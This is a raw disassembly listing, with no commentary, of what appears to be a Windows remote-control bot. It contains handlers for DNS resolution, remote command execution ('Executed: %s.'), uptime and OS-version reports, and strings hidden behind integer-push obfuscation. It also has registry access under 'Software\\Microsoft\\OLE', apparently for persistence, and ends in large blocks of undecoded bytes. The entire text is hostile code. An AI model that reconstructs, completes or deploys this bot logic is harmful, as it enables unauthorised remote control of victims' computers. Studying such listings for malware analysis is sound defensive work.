lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_4051B1
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_405628
; ---------------------------------------------------------------------------
loc_4051B1: ; CODE XREF: sub_404C30+56Bj
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017EE
push eax
call near ptr 71AB2BF4h
nop
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_405284
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
call near ptr 71ABE479h
nop
mov edi, eax
test edi, edi
jz loc_405365
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017EE
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_4053CB
; ---------------------------------------------------------------------------
loc_405284: ; CODE XREF: sub_404C30+5C7j
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017EE
push eax
nop
call near ptr 71AB4FD4h
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_405365
mov ecx, [edi+0Ch]
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016B8
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_405365: ; CODE XREF: sub_404C30+5E0j
; sub_404C30+691j
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017EE
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_4053CB: ; CODE XREF: sub_404C30+64Fj
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_4053EE: ; CODE XREF: sub_404C30+50Cj
lea ecx, [edi+0BCDh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4054DC
lea ecx, [edi+9]
call sub_4017EE
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402040
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+190h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+198h+var_4], ebx
call sub_4019C4
add esp, 20h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8075
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E45
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_4054DC: ; CODE XREF: sub_404C30+7D3j
lea ecx, [edi+0E23h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40564A
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013E3
mov ecx, edi
mov ebx, eax
call sub_4013E3
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013E3
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_40562D
lea ecx, [esp+178h+var_14C]
call sub_40142E
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013E3
add eax, 2
mov ecx, esi
push eax
call sub_401479
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015E1
lea ecx, [esp+178h+var_164]
call sub_40142E
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017EE
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017EE
push eax
call near ptr 77C293C7h
nop
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_4055E4
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405602
; ---------------------------------------------------------------------------
loc_4055E4: ; CODE XREF: sub_404C30+997j
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405602: ; CODE XREF: sub_404C30+9B2j
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_405628: ; CODE XREF: sub_404C30+1D4j
; sub_404C30+2AFj ...
call sub_401226
loc_40562D: ; CODE XREF: sub_404C30+91Cj
; sub_404C30+C6Aj
xor al, al
loc_40562F: ; CODE XREF: sub_404C30+6Fj
; sub_404C30+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_40564A: ; CODE XREF: sub_404C30+8C1j
lea ecx, [edi+0C85h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_4056C0
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F5A
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_4056C0: ; CODE XREF: sub_404C30+A2Fj
lea ecx, [edi+0CE1h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4057B1
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E45
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019C4
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E8E45
mov [esp+178h+var_4], 1Ah
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8075
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_4057B1: ; CODE XREF: sub_404C30+AA5j
lea ecx, [edi+0CB3h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405885
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_405819
mov ebx, 7
loc_405819: ; CODE XREF: sub_404C30+BE2j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40195B
push offset byte_448F30
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_40586E
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
loc_40586E: ; CODE XREF: sub_404C30+C11j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_405885: ; CODE XREF: sub_404C30+B96j
lea ecx, [edi+0DF5h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40562D
lea ecx, [esp+178h+var_100]
call sub_40142E
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019C4
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A9B
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_511764
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019C4
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017EE
mov edx, [esp+19Ch+var_17C]
push eax
push edx
call near ptr 2950000h
nop
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_511740
push eax
call edi
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017EE
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017EE
mov ebp, dword_51176C
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017EE
push eax
call sub_401604
sub_404C30 endp
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 84C61424h, 17424h, 4FE81D00h, 8DFFFFB7h
dd 0E844244Ch, 0FFFFB94Eh, 46822B3h, 68000001h, 104h, 4C244C8Dh
dd 7C249C88h, 0E8000001h, 0FFFFC175h, 0FDE89050h, 6A023FA4h
dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
dd 50096A38h, 0FFBEA3E8h, 2CC483FFh, 84C6C88Bh, 17424h
dd 0BBE82300h, 50FFFFBCh, 48244C8Dh, 0FFBCB1E8h, 4C8D50FFh
dd 84684C24h, 51004446h, 0FFB4E0E8h, 10C483FFh, 14244C8Dh
dd 74249C88h, 0E8000001h, 0FFFFB6C6h, 44244C8Dh, 0FFBB22E8h
dd 0B3E850FFh, 90023EB1h, 1024548Dh, 78244C8Dh, 3F6852h
dd 6A000Fh, 0FFBC69E8h, 26850FFh, 0FF800000h, 6A006AD6h
dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
dd 0FFBE1BE8h, 28C483FFh, 84C6C88Bh, 17424h, 33E82400h
dd 8BFFFFBCh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
dd 53E80000h, 8BFFFFB6h, 52102454h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
dd 96A4424h, 0BDC6E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
dd 0E8250000h, 0FFFFBBDEh, 0B9EEE850h, 0C483FFFFh, 244C8D04h
dd 249C8814h, 174h, 0FFB5FDE8h, 10468FFh, 4680000h, 8D000001h
dd 0E84C244Ch, 0FFFFC035h, 0A3BEE850h, 6A90023Fh, 6A056A00h
dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
dd 6A44244Ch, 5DE85109h, 83FFFFBDh, 0C88B38C4h, 742484C6h
dd 26000001h, 0FFBB75E8h, 4C8D50FFh, 6BE84824h, 50FFFFBBh
dd 4C24548Dh, 44468468h, 9AE85200h, 83FFFFB3h, 4C8D10C4h
dd 9C881424h, 17424h, 0B580E800h, 4C8DFFFFh, 0DCE84424h
dd 50FFFFB9h, 0B06CE890h, 448D023Eh, 4C8D1024h, 68507824h
dd 0F003Fh, 23E8006Ah, 50FFFFBBh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
dd 0FFBCD3E8h, 2CC483FFh, 84C6C88Bh, 17424h, 0EBE82700h
dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
dd 0BE80000h, 8BFFFFB5h, 50102444h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
dd 0BC82E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
dd 0FFFFBA9Ah, 0B8AAE850h, 0C483FFFFh, 244C8D04h, 249C8814h
dd 174h, 0FFB4B9E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
dd 0FFFFBEF1h, 79E89050h, 6A023FA2h, 6A056A00h, 6A056A18h
dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 1DE85217h
dd 83FFFFBCh, 0C88B30C4h, 742484C6h, 29000001h, 0FFBA35E8h
dd 4C8D50FFh, 2BE84824h, 50FFFFBAh, 4C24448Dh, 44468468h
dd 5AE85000h, 83FFFFB2h, 4C8D10C4h, 9C881424h, 17424h
dd 0B440E800h, 4C8DFFFFh, 9CE84424h, 50FFFFB8h, 3EAF2DE8h
dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B9E0E800h
dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh
dd 0E852046Ah, 0FFFFBB88h, 8B3CC483h, 2484C6C8h, 174h
dd 0B9A0E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h
dd 17424h, 0B3C0E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
dd 6A402454h, 35E85202h, 83FFFFBBh, 0C88B34C4h, 742484C6h
dd 2B000001h, 0FFB94DE8h, 5DE850FFh, 83FFFFB7h, 4C8D04C4h
dd 9C881424h, 17424h, 0B36CE800h, 468FFFFh, 68000001h
dd 104h, 4C244C8Dh, 0FFBDA4E8h, 0E89050FFh, 23FA12Ch, 56A006Ah
dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
dd 0BACEE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
dd 0FFFFB8E6h, 244C8D50h, 0B8DCE848h, 8D50FFFFh, 684C244Ch
dd 444684h, 0B10BE851h, 0C483FFFFh, 244C8D10h, 249C8814h
dd 174h, 0FFB2F1E8h, 244C8DFFh, 0B74DE844h, 9050FFFFh
dd 3EADDDE8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
dd 0B894E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFBA48h
dd 8B24C483h, 2484C6C8h, 174h, 0B860E82Dh, 4C8BFFFFh, 51501024h
dd 4C8DD5FFh, 9C881424h, 17424h, 0B280E800h, 548BFFFFh
dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh
dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 0F5E85014h, 83FFFFB9h
dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB80DE8h, 1DE850FFh
dd 83FFFFB6h, 4C8D04C4h, 9C881424h, 17424h, 0B22CE800h
dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBC64E8h, 0E89050FFh
dd 23F9FECh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B98EE851h, 0C483FFFFh
dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB7A6h, 244C8D50h
dd 0B79CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AFCBE852h
dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB1B1E8h
dd 244C8DFFh, 0B60DE844h, 9050FFFFh, 3EAC9DE8h, 24448D02h
dd 244C8D10h, 3F685078h, 6A000F00h, 0B754E800h, 6850FFFFh
dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB903E8h, 28C483FFh
dd 84C6C88Bh, 17424h, 1BE83000h, 8BFFFFB7h, 50102454h
dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B138E800h, 448BFFFFh
dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
dd 4C8D10C4h, 84C64424h, 17424h, 0FBE81D00h, 8DFFFFB0h
dd 0C778244Ch, 1742484h, 0FFFF0000h, 0E7E8FFFFh, 0B0FFFFB0h
dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4066A0 proc near ; CODE XREF: sub_40195Bj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4066A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_40142E
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_4066F1
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_402112
mov [esp+38h+var_28], ebp
jmp loc_406797
; ---------------------------------------------------------------------------
loc_4066F1: ; CODE XREF: sub_4066A0+3Aj
nop
call near ptr 27F0CAAh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_406783
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014D3
jmp short loc_406793
; ---------------------------------------------------------------------------
loc_406783: ; CODE XREF: sub_4066A0+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_448F30
mov ecx, esi
call sub_401870
loc_406793: ; CODE XREF: sub_4066A0+E1j
mov [esp+38h+var_28], ebp
loc_406797: ; CODE XREF: sub_4066A0+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_4066A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406810: ; CODE XREF: ___:00401672j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_448F30
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401870
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406850 proc near ; CODE XREF: sub_401F5Aj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_406850
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_40142E
mov [esp+1A4h+var_4], 1
call near ptr 27F0CAAh
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2830000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
nop
call near ptr 2820000h
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_40691E
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406906
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_4068F6
mov ebp, offset a95 ; "95"
jmp loc_406991
; ---------------------------------------------------------------------------
loc_4068F6: ; CODE XREF: sub_406850+9Aj
cmp eax, 2
jnz loc_40698D
mov ebp, offset aNt ; "NT"
jmp short loc_40695A
; ---------------------------------------------------------------------------
loc_406906: ; CODE XREF: sub_406850+8Ej
cmp eax, 0Ah
jnz short loc_406912
mov ebp, offset a98 ; "98"
jmp short loc_406950
; ---------------------------------------------------------------------------
loc_406912: ; CODE XREF: sub_406850+B9j
cmp eax, 5Ah
jnz short loc_40694B
mov ebp, offset aMe ; "ME"
jmp short loc_406950
; ---------------------------------------------------------------------------
loc_40691E: ; CODE XREF: sub_406850+83j
cmp eax, 5
jnz short loc_40694B
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406935
mov ebp, offset a2000 ; "2000"
jmp short loc_406950
; ---------------------------------------------------------------------------
loc_406935: ; CODE XREF: sub_406850+DCj
cmp eax, 1
jnz short loc_406941
mov ebp, offset aXp ; "XP"
jmp short loc_406950
; ---------------------------------------------------------------------------
loc_406941: ; CODE XREF: sub_406850+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_406950
loc_40694B: ; CODE XREF: sub_406850+C5j
; sub_406850+D1j
mov ebp, offset a??? ; "???"
loc_406950: ; CODE XREF: sub_406850+C0j
; sub_406850+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_406991
loc_40695A: ; CODE XREF: sub_406850+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_406991
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
nop
call sub_5F285B
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_406991
; ---------------------------------------------------------------------------
loc_40698D: ; CODE XREF: sub_406850+A9j
mov ebp, [esp+1A4h+var_198]
loc_406991: ; CODE XREF: sub_406850+A1j
; sub_406850+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
nop
call near ptr 28110A9h
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
push edx
push eax
nop
call near ptr 2930D38h
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
